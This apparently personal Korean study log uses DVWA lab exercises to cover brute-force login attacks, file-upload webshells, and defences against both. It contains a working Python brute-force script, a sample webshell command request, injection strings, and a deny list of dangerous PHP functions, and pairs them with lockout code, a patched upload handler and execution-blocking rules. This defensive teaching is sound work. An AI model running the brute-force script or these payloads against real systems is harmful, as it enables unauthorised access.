클라이언트가 보낸 값은 왜 하나도 믿으면 안 되는가
브루트포스 공격과 방어, 파일 업로드 취약점과 웹쉘, 그리고 그 둘을 관통하는 하나의 원리까지 정리한 기록이다. 결론부터 적으면 이 문장 하나다.
클라이언트가 보내는 건 다 조작 가능하다. 그래서 서버에서 검증해야 한다.
브루트포스 — 성공을 무엇으로 판별하는가
DVWA login.php 를 직접 때리는 방식이다. 브루트포스의 핵심은 페이로드가 아니라 성공과 실패를 무엇으로 구분하느냐에 있다.
import requests
requests.packages.urllib3.disable_warnings()
target = "192.168.10.109"
login_url = f"http://{target}/dvwa/login.php"
headers = {
"User-Agent": "Mozilla/5.0 ... Chrome/149.0.0.0 Safari/537.36",
"Referer": login_url,
"Content-Type": "application/x-www-form-urlencoded"
}
passwords = [str(i) for i in range(1, 100)] # range를 리스트로 펼치며 문자열 변환
passwords.append("password")
for pw in passwords:
r = requests.post(login_url,
headers=headers,
data=f"username=admin&password={pw}&Login=Login",
allow_redirects=False, # ← Location 헤더 보려면 필수
verify=False)
location = r.headers.get("Location", "")
if r.status_code == 302 and "index.php" in location:
print(f"[+] 성공! admin / {pw}")
break
else:
print(f"[-] 실패: {pw} (→ {location})")
상태코드는 고정, Location이 열쇠
DVWA login.php 는 성공과 실패 둘 다 302를 반환한다. 상태코드로는 구분이 안 된다.
| 결과 | 응답 |
|---|---|
| 로그인 성공 | 302 + Location: index.php |
| 로그인 실패 | 302 + Location: login.php |
status_code == 302는 사실상 항상 참이라 판별에 못 쓴다.- 진짜 판별은
"index.php" in location이다. ==가 아니라in을 쓰는 이유는 Location 형식이index.php//dvwa/index.php/ 전체 URL 등으로 다양하기 때문이다. 포함 여부로 봐야 안전하다.allow_redirects=False가 필수다. 리다이렉트를 따라가면 Location을 못 보고 최종 페이지만 받는다.- 302 응답은 원래 본문이 비어 있다(이정표라서). 그래서 본문 대신 헤더를 봐야 한다. 커맨드 인젝션이 결과를 본문에 담아 오던 것과 정반대다.
계정 잠금은 서버에서
실패 횟수를 서버(DB)에 기록하고 N번을 넘으면 차단한다. 순서가 중요한데, 잠금 확인이 로그인 검사보다 앞에 와야 한다.
// ① 실패 횟수 먼저 조회 → ② 한도 넘으면 차단 → ③ 성공 시 초기화 → ④ 실패 시 +1
$failed_count = /* DB에서 이 계정 failed_login 조회 */;
if ($failed_count >= 3) {
echo "이 계정은 잠겼습니다.";
} else {
// 정상 로그인 검사
// 성공 → UPDATE failed_login = 0
// 실패 → UPDATE failed_login = failed_login + 1
}
실패 횟수가 서버 DB에 쌓이므로 requests 로 브라우저를 우회해도 서버가 세고 있어서 소용이 없다. 성공 시 초기화는 반드시 넣어야 한다. 안 하면 정상 사용자가 조금만 틀려도 잠긴다.
은탄환은 없다 — 여러 겹으로
계정 잠금에는 함정이 있다. 공격자가 일부러 남의 계정을 잠가버리는 악의적 잠금 DoS다.
| 방어 | 방식 | 피해자 부담 | 공격자 차단 |
|---|---|---|---|
| 계정 잠금 | N번 실패 시 잠금 | 높음(DoS 위험) | 중 |
| IP 기준 Rate Limiting | 공격 IP를 제한 | 매우 낮음 | 높음 |
| 점진적 지연 | 틀릴수록 대기↑ (1→2→4초) | 낮음 | 중~높음 |
| CAPTCHA (실패 후 등장) | 봇 차단 | 낮음 | 매우 높음 |
| 2FA | 추가 인증 | 중 | 매우 높음 |
계정 잠금은 “계정”을 벌주고(피해자가 아프다), Rate Limiting은 “공격 IP”를 벌준다(공격자가 아프다). 실무 표준은 겹쌓기다 — 정상 통과 → 3회 실패 시 CAPTCHA와 지연 → IP Rate Limit → fail2ban → 2FA. 정상 사용자는 아무것도 못 느끼고 공격자만 겹겹이 막힌다.
중간에 걸린 것들
range 는 리스트가 아니다
파이썬3에서 range(1,100) 은 리스트가 아니라 range 객체(세는 규칙)다. .append() 는 리스트 전용이라 range엔 없다.
| 쓴 것 | 정체 | append 됨? |
|---|---|---|
range(1, 100) | range 객체 | 안 됨 |
list(range(1, 100)) | 리스트 | 됨 |
[str(i) for i in range(1,100)] | 리스트(문자열) | 됨 |
range를 리스트로 안 주는 이유는 메모리다. range(1, 1억) 을 펼치면 낭비이므로 필요할 때 하나씩 꺼내 쓰게 설계돼 있다.
2>/dev/null 의 의미
리눅스 프로그램은 출력 통로를 두 개 가진다.
| 번호 | 이름 | 정체 |
|---|---|---|
| 0 | stdin | 입력 |
| 1 | stdout | 정상 결과 |
| 2 | stderr | 에러 메시지 |
> 는 “저기로 보내라”, /dev/null 은 쓰레기통이다. 그래서 find / -perm -4000 2>/dev/null 은 Permission denied 에러를 다 버리고 결과만 보여준다. > 만 쓰면 기본이 1번이고, 명령어 > out.txt 2>&1 은 에러도 1번이 가는 곳으로 보내 정상과 에러를 한 파일에 담는다.
절대주소와 상대주소
| 종류 | 예시 (.../brute/ 에서) | 실제 목적지 |
|---|---|---|
| 절대 URL | http://.../dvwa/index.php | 무조건 거기 |
루트 상대 (/) | /dvwa/index.php | 도메인 루트부터 |
| 상대 (없이) | index.php | 현재 폴더 기준 |
상대 (../) | ../../index.php | 위로 이동 |
브루트포스 판별에서 "index.php" in location 을 쓴 이유가 이것이다. Location 형식이 절대/루트상대/상대로 달라도 다 잡으려고. 그리고 Path Traversal 공격이 바로 이 상대주소 ../ 를 악용한다.
파일 업로드와 웹쉘
PHP와 JavaScript — 실행 장소가 전부를 가른다
| PHP | JavaScript | |
|---|---|---|
| 실행 장소 | 서버 | 브라우저(클라이언트) |
| 소스 노출 | 안 됨 | 다 보임(F12) |
| 주 역할 | DB·로그인·파일 처리 | 화면 동작 |
| 해킹 관점 | 서버 장악(RCE, LFI) | 검증 우회, XSS |
진짜 검증은 반드시 서버(PHP)에서 해야 한다. 클라이언트 검증은 편의일 뿐 방어선이 아니다. “5회 틀리면 잠금”도 브라우저 카운터로 만들면 requests 로 우회당한다.
원본 DVWA 업로드 코드의 네 가지 문제
| 문제 | 내용 |
|---|---|
| ① 파일명 그대로 씀 | basename($_FILES[...]['name']) → shell.php 면 그대로 저장 |
| ② 확장자 검사 없음 | .php 등 뭐든 통과 |
| ③ 내용 검사 없음 | 진짜 이미지인지 안 봄 |
| ④ 실행되는 폴더에 저장 | uploads/ 에서 PHP 실행됨 |
웹쉘이 “실행”되는 메커니즘
핵심은 PHP 파일은 서버가 실행한다는 것이다.
[이미지.jpg 요청] → 서버: 파일 내용 그대로 전송 (데이터)
[쉘.php 요청] → 서버: ".php네? 실행해야지" → 코드 실행 → 결과 반환
두 단계로 나뉜다. 업로드는 코드를 서버에 심는 단계이고, 그 URL에 접속하는 것이 실행 방아쇠다.
커맨드 인젝션과 비교하면 차이가 분명해진다. 커맨드 인젝션은 이미 있는 실행 통로(shell_exec)에 명령을 주입하는 것이고, 파일 업로드는 실행 통로(내 PHP)를 서버에 설치한 뒤 URL로 호출하는 것이다. 둘 다 목적지는 같다 — 서버 임의 명령 실행.
위장 수법은 확장자 조작(shell.php.jpg), 더블 확장자, 매직바이트 위조, 이미지 속 코드 숨기기 등이 있다.
패치 코드
<?php
if (isset($_POST['Upload'])) {
$target_dir = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
// ② 확장자 화이트리스트 (블랙리스트 X)
$allowed_ext = array("jpg", "jpeg", "png", "gif");
$ext = strtolower(pathinfo($_FILES['uploaded']['name'], PATHINFO_EXTENSION));
// ③ 매직바이트 검사 — 진짜 이미지 아니면 false
$image_info = getimagesize($_FILES['uploaded']['tmp_name']);
if (!in_array($ext, $allowed_ext)) {
echo "허용되지 않은 확장자";
} else if ($image_info === false) {
echo "이미지 파일이 아님";
} else if ($_FILES['uploaded']['size'] > 1000000) {
echo "파일이 너무 큼 (최대 1MB)";
} else {
// ① 파일명 랜덤화 — 원래 이름 폐기
$new_name = md5(uniqid(rand(), true)) . "." . $ext;
$target_path = $target_dir . $new_name;
if (move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo $new_name . " 업로드 성공!";
}
}
}
?>
| 방어 | 막는 문제 | 원리 |
|---|---|---|
| 확장자 화이트리스트 | ② | “좋은 것만 허용” |
매직바이트 getimagesize() | ③ | 실제 바이트 검사 → 이미지 위장 코드 차단 |
| 파일명 랜덤화 | ① | 사용자 이름 폐기 → 확장자/경로 조작 무력화 |
| 크기 제한 | - | DoS 방어 기본 위생 |
최종 방어선 — 업로드 폴더 실행 차단
코드 검증은 폴리글랏 파일 등으로 우회될 수 있다. 서버 설정으로 실행 자체를 차단해야 완성이다.
# uploads 폴더에 배치 (Apache)
<FilesMatch "\.(php|phtml|php3|php4|php5|phar)$">
Deny from all
</FilesMatch>
php_flag engine off
웹쉘이 올라가도 서버가 실행을 거부한다. 코드 검증이 다 뚫려도 마지막에 막히는 구조 — 심층 방어의 완성이다.
탐지 관점 — GET을 POST로 바꾸는 이유
Request: POST /dvwa/hackable/uploads/webshell.php
Cookie: security=low; PHPSESSID=...
cmd=whoami ← 명령어가 "본문"에 (POST)
Response: [ Executed Command: whoami ]
www-data ← 서버가 실제 실행한 결과
uploads 폴더의 .php에 POST 요청이 온다는 것 자체가 핵심 시그니처다. 정상 사이트는 uploads를 GET으로 보여주기만 하지, POST로 명령을 보내지 않는다.
| 어디에 남나 | GET (URL) | POST (본문) |
|---|---|---|
| 웹서버 접근 로그 | cmd=whoami 통째 기록 | URL만 기록, 명령 안 남음 |
| 브라우저 히스토리 | 남음 | 안 남음 |
공격자가 로그 기반 탐지를 회피하는 안티-포렌식이다. 방어는 WAF 본문 검사, 파일 무결성 모니터링, 트래픽 패턴 분석 쪽으로 간다.
PHP 위험 함수와 시스템 개념
공격에 쓰이는 함수가 곧 방어할 때 잠가야 할 함수다.
- 시스템 명령 실행 (1순위 차단):
system(),exec(),shell_exec(),passthru(),popen(),proc_open() - 코드 실행:
eval(),assert(),call_user_func() - 파일 읽기/쓰기:
file_get_contents(),fopen(),readfile(),file_put_contents(),show_source() - 네트워크(리버스쉘·다운로드):
fsockopen(),curl_exec() - 우회·정찰(자주 놓침):
putenv(),dl(),mail(),phpinfo(),posix_*
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,parse_ini_file,show_source,eval
다만 disable_functions 만으론 불완전하다. LD_PRELOAD/mail() 우회나 외부 라이브러리 악용으로 뚫린다. 업로드 차단 + 실행 차단 + disable_functions + 낮은 권한(www-data) + open_basedir 를 겹쳐야 한다.
system, exec, execve
system() (PHP) | exec() (PHP) | execve() (리눅스 시스템콜) | |
|---|---|---|---|
| 정체 | PHP 함수 | PHP 함수 | 커널 시스템콜 |
| 출력 | 화면에 자동 출력 | 변수에 담김 | - |
| OS 명령 실행 | 됨 | 됨 (똑같이 위험) | 프로세스 교체 |
| 셸 거침? | 거침 | 거침 | 안 거침 |
system 과 exec 는 둘 다 명령 실행이 동일하게 위험하다. 차이는 결과를 화면에 보여주느냐뿐이다. “exec는 안전하다”는 오해다 — 블라인드 실행도 치명적이다.
execve 는 정반대 맥락이다. 셸을 안 거치고 인자를 배열로 분리해서 넘기기 때문에 ; 나 | 같은 셸 구분자가 안 먹힌다. 인젝션 방어에 더 안전한 방식이고, PHP에서 이 철학을 흉내 내는 게 escapeshellarg() 다.
system("ping -c 3 " . $ip); // 위험: 셸이 $ip 해석
system("ping -c 3 " . escapeshellarg($ip)); // 덜 위험: 특수문자 무력화
같은 원리가 모바일에도 있다
보이스피싱 악성앱과 웹쉘은 “공격자 코드를 피해자 기기에서 실행시켜 장악한다”는 점이 같다. 결정적 차이는 누가 실행하느냐다.
| 웹쉘 (서버) | 폰 악성앱 | |
|---|---|---|
| 코드 심는 법 | 취약점을 뚫어 업로드 | 피해자가 직접 설치 |
| 핵심 수법 | 기술적 취약점 | 사람을 속임(사회공학) |
가장 뚫기 쉬운 취약점은 사람이다. 보이스피싱은 취약점을 안 뚫고 사람을 뚫는다. 참고로 “폰이 먹통이 된다”는 것도 고장이 아니라 신고와 대응을 막으려는 의도적 기능인 경우가 많다.
iOS는 권한을 완전히 없애는 대신 함부로 못 주게 통제하는 쪽을 택했다. 앱스토어 외 설치 원천 차단, 다른 앱 화면 훔쳐보기·문자 읽기를 OS 샌드박스로 차단, 카메라 사용 시 초록점 같은 확인 강제. 이 방어를 뚫으려면 OS 자체 취약점이 필요해서 사회공학보다 훨씬 어렵고 비싸다. 공격 표면 줄이기라는 개념이고, 웹의 화이트리스트·최소 권한과 같은 철학이다.
앱이 동의 없이 스스로 권한을 못 얻는 이유도 구조에 있다.
[앱] "권한 줘" (요청만 가능)
↓
[OS] 동의 다이얼로그 띄움 → 사용자 승인 → OS가 권한 기록
(이 결정 과정 전체가 앱의 샌드박스 밖)
중요한 결정을 요청하는 쪽(앱)이 아니라 통제하는 쪽(OS) 에 두는 것 — 신뢰 경계다. 웹에서 “클라이언트를 못 믿으니 서버에서 검증한다”와 완전히 같은 원리다. 그래서 공격자는 결국 벽을 못 뚫고 사람을 속이는 쪽으로 회귀한다.
관통하는 하나의 패턴
① HTTP 요청/응답의 구성요소를 안다 (헤더·파라미터·바디·쿠키)
↓
② 개발자도구/Burp/코드로 그 값을 마음대로 바꾼다
↓
③ 서버가 조작된 값을 검증 없이 믿으면 → 뚫린다
| 공격 | 뭘 조작 | 서버의 실수 |
|---|---|---|
| 브루트포스 | password 반복 | 시도 횟수 검증 없음 |
| 커맨드 인젝션 | ip 에 ; whoami | 입력을 명령에 그대로 |
| 파일 업로드 | 확장자/Content-Type | 파일 검증 없음 |
| SQL 인젝션 | username 에 ' OR 1=1 | 입력을 쿼리에 그대로 |
공격 이름만 다르지 뼈대는 하나다. 요청 조작 → 서버가 검증 없이 신뢰 → 뚫림.
서버는 요청의 출처가 브라우저인지 Burp인지 구분하지 못한다. 그냥 텍스트로 도착할 뿐이다. 그래서 requests 브루트포스가 통했다.
쿠키는 “누구”는 알지만 “어디서”는 모른다
| 질문 | 쿠키로 알 수 있나 |
|---|---|
| “어느 계정이 보냈나?” | 세션 ID로 식별 가능 |
| “브라우저냐 Burp냐?” | 못 알아냄 |
쿠키도 그냥 요청에 담기는 값이라 복사와 조작이 가능하다. Burp 요청에 쿠키를 그대로 붙이면 서버는 속는다. 세션 하이재킹의 원리가 이것이고, CSRF 토큰이 “우리 페이지에서 온 요청인지” 확인하는 그나마의 장치지만 완벽하진 않다.
값은 위조되니 행위를 본다
Wireshark로 잡던 단서(User-Agent, 경로, 요청 간격)는 다 위조가 가능하다. 그래도 탐지가 이기는 구조인 이유가 셋 있다.
- 위장에는 비용이 든다 — 완벽히 숨기려면 공격이 느려진다. 방어의 부분 승리다.
- 껍데기는 위조해도 행위의 본질은 못 숨긴다 — “로그인 100번 시도” 자체는 행동으로 드러난다.
- 그래서 탐지가 값 기반에서 행위·맥락 기반으로 진화했다.
1세대: "User-Agent가 이상" (값 → 위조되면 뚫림)
2세대: "이 IP가 5분에 로그인 200번" (행위 → 위조 어려움)
3세대: "평소 서울인데 지금 브라질?" (맥락·이상탐지)
여기서도 “요청에 담긴 값은 못 믿는다 → 다른 걸 본다”로 수렴한다.
완벽한 방어는 없다
- 코드 아래층이 뚫린다 — OS, 라이브러리, 하드웨어(Spectre/Meltdown은 CPU 결함이다)
- 완벽함의 증명이 이론적으로 불가능하다 — 테스트는 버그의 존재만 증명하지 부재는 증명하지 못한다
- 제일 약한 고리는 사람이다 — 코드가 완벽해도 비밀번호가
123456이거나 피싱에 속으면 끝이다 - 방어자와 공격자는 비대칭이다 — 방어자는 모든 구멍을 막아야 하고 공격자는 하나만 뚫으면 된다
- 위협이 계속 진화한다 — “완벽”에 유통기한이 있다
그래서 보안의 목표는 “뚫리지 않게”가 아니라 뚫기 어렵게 + 뚫려도 피해 최소화 + 빨리 탐지·복구다. 심층 방어, 최소 권한, 탐지·로깅, 그리고 “이미 뚫렸다고 가정”.
한 장 요약
| 층위 | 관통 원리 |
|---|---|
| 공격 | 요청의 값(헤더·파라미터·바디·쿠키)은 다 조작 가능 |
| 방어 | 그래서 서버에서 검증한다 (클라이언트/출처를 믿지 마라) |
| 탐지 | 값은 위조되니 행위·맥락을 본다 |
| 인증 | 쿠키는 “누구”는 알지만 “출처”는 모른다 → 완벽한 신원증명 아님 |
| 철학 | 완벽한 방어는 없다 → 위험을 “관리”한다 |
| 설계 | 중요 결정은 공격자가 통제 못 하는 쪽(서버/OS)에서 |